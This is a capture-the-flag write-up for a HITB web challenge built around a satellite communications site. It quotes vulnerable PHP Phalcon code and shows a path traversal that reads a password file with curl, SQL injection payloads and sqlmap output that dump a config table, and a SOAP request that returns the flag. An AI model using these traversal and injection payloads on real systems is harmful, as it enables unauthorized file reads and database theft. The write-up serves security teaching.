WEB 1000

Our division of foreign cyber affairs has been hard at work lately. While mapping out some obscure subnets (which we think belong to the intelligence agency that is investigating HEAVENWEB) we’ve come accross a Sattelite Communications Center. One of our employees managed to snag a copy of some source code before they further locked down the platform. Luckily the login frontend still seems to be reachable.

Can you help us gain access to the platform and find out which information has been compromised?

On this challenge we need to read files provided to analyze which points are vulnerables and why. Code is PHP Phalcon framework and web is like some SATCOM communications site. First we can see that logins are read from file /etc/scc.password on this line:

	protected function readUserFile() {
		$buf = '';
		$fp = fopen("/etc/scc.passwd", "r");
		while (!feof($fp)) {
			$buf .= fgets($fp);

		return $buf;

and format is uid:pwd:name:level:is_enabled. Function getUsers() is retrieving this lines and return as an array:

	public function getUsers() {

		$users = array();
		$content = $this->readUserFile();
		$lines = explode("\n", $content);
		foreach ($lines as $line) {
			$parts = explode(":", $line);
			if (count($parts) == 5) {
				$user = new User();
				$user->setEnabled($parts[4] == "true");
				$users[] = $user;

		return $users;

So users are not retrieved from database, need to find some point that guide us to read this /etc/scc.password file. Let’s see hitb\storefront\controllers\MediaControler.php file:

	public function viewAction($file)
		$folder = isset($_GET['folder']) ? $_GET['folder'] . "/" : "../app/storefront/resources/";

		try {
			$fp = $this->getResourceService()->getResourceHandle($folder . $file);
			$this->response->setHeader("Content-Type", "image/png");

		} catch (\Exception $e) {
			echo $e->getMessage();

Interesting method viewAction, specially this line:

$folder = isset($_GET['folder']) ? $_GET['folder'] . "/" : "../app/storefront/resources/";

It makes bad checks on $folder variable. Seems we can test for LFI vulnerability passing folder as GET parameter to retrieve scc.passwd contents:

curl -i -s -k  -X 'GET' 'http://satcom.info/media/view/scc.passwd?folder=../../../../../../../../../../../../../../etc/'
HTTP/1.1 200 OK
Server: nginx/1.4.6 (Ubuntu)
Date: Sun, 08 Mar 2015 13:34:21 GMT
Content-Type: image/png
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.5.9-1ubuntu4.6
Set-Cookie: PHPSESSID=gi39cck67sr19lab415ojhidj2; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache


OK! Now we have passwd file with some users that can be login. Also format of the file match with the previous GetUsers() method, remember that last part of the file, true/false, indicates that user can login on the system, unfortunately admin user is disabled. Let’s try some login (4100:uPN4jD):


Great! Now we can use transponder system with four main actions: list, add, activate and view. As we have all the source code of the application, we can check if there is other vulnerabilities inside. First we set focus on activate action, from here we are going to see interesting data via sql injection:

' union select null from transponder#

SQLSTATE[21000]: Cardinality violation: 1222 The used SELECT statements have a different number of columns


Or just with x’ or id=2# we are able to read transponder data:

Transponder "http://primary-private-srv.satcom.info/service.wsdl" already activated

This url is the SOAP webservice used by the system and is important because we will launch SOAP calls to get the flag, but first, proceed to dump config data and oter staff from database, with sqlmap:

$ sqlmap -u "http://satcom.info/transponder/activate" --data "sic=" --cookie="PHPSESSID=ohnqm2hhss2o22saq4ohcubks0" --dump  -v 6 --level=5 --risk=5
Place: POST
Parameter: sic
 Type: boolean-based blind
 Title: OR boolean-based blind - WHERE or HAVING clause
 Payload: sic=-3011' OR (3510=3510) AND 'fuHS'='fuHS
 Vector: OR ([INFERENCE])

 Type: error-based
 Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
 Payload: sic=' AND (SELECT 7950 FROM(SELECT COUNT(*),CONCAT(0x716a6c6971,(SELECT (CASE WHEN (7950=7950) THEN 1 ELSE 0 END)),0x716d706171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'rqwR'='rqwR

 Type: UNION query
 Title: MySQL UNION query (NULL) - 11 columns
 Payload: sic=' UNION ALL SELECT 16,CONCAT(0x716a6c6971,0x744d7556466a4b4f5a4d,0x716d706171),16,16,16,16,16,16,16,16,16#
 Vector: UNION ALL SELECT 16,[QUERY],16,16,16,16,16,16,16,16,16#

 Type: stacked queries
 Title: MySQL > 5.0.11 stacked queries
 Payload: sic='; SELECT SLEEP(5)-- 

 Type: AND/OR time-based blind
 Title: MySQL < 5.0.12 AND time-based blind (heavy query)
 Payload: sic=' AND 4776=BENCHMARK(5000000,MD5(0x4c59476e)) AND 'QoOA'='QoOA
web server operating system: Linux Ubuntu
web application technology: Nginx, PHP 5.5.9
back-end DBMS: MySQL 5.0

Database: scc
Table: config
[2 entries]
| id | key | value |
| 1 | external.webservice.secret | f8bb883a642fe29ad2f70bbe4077459a |
| 2 | external.webservice.endpoint | http://primary-private-srv.satcom.info/service.wsdl |

Config table has secret and endpoint and now we can make SOAP request and see results. To make this request we need PHPSESSID cookie, so we are going to use burp to do this. What we are going to use is «GetPacketData» and «GetSatus» against wdsl service with «sic» 1.4.55 as parameter and not the internal id. First tries i think we need change user’s level with CreateSessionForClearanceLevelRequest SOAP method to get the flag, but this was not implemented. Neither CreateSessionForUidRequest. Anyway flag appears with this SOAP call:

POST /?TransponderControlService HTTP/1.1
Accept: */*
Content-Type: text/xml; charset=utf-8
SOAPAction: "GetPacketData"
Host: primary-private-srv.satcom.info
Content-Length: 555
Expect: 100-continue
Proxy-Connection: Keep-Alive
Cookie: PHPSESSID=ohnqm2hhss2o22saq4ohcubks0

<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xmlns:tns="urn:scc:controlservice" xmlns:types="urn:scc:controlservice/encodedTypes" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<soap:Body soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><tns:GetPacketData><transponderId xsi:type="xsd:string">1.4.55</transponderId></tns:GetPacketData></soap:Body></soap:Envelope>
-- Response 

HTTP/1.1 100 Continue

HTTP/1.1 200 OK
Server: nginx/1.4.6 (Ubuntu)
Pragma: no-cache
Content-Length: 602

<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="urn:scc:controlservice" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:GetPacketDataResponse><parameters xsi:type="xsd:string">Great job!! :) Here's your flag: HITB{32c148293a4b6634c211284f2578bb35}</parameters></ns1:GetPacketDataResponse></SOAP-ENV:Body></SOAP-ENV:Envelope>

Flag: HITB{32c148293a4b6634c211284f2578bb35}

note: Thanks to all dcua team mates ;)

No hay contenido relacionado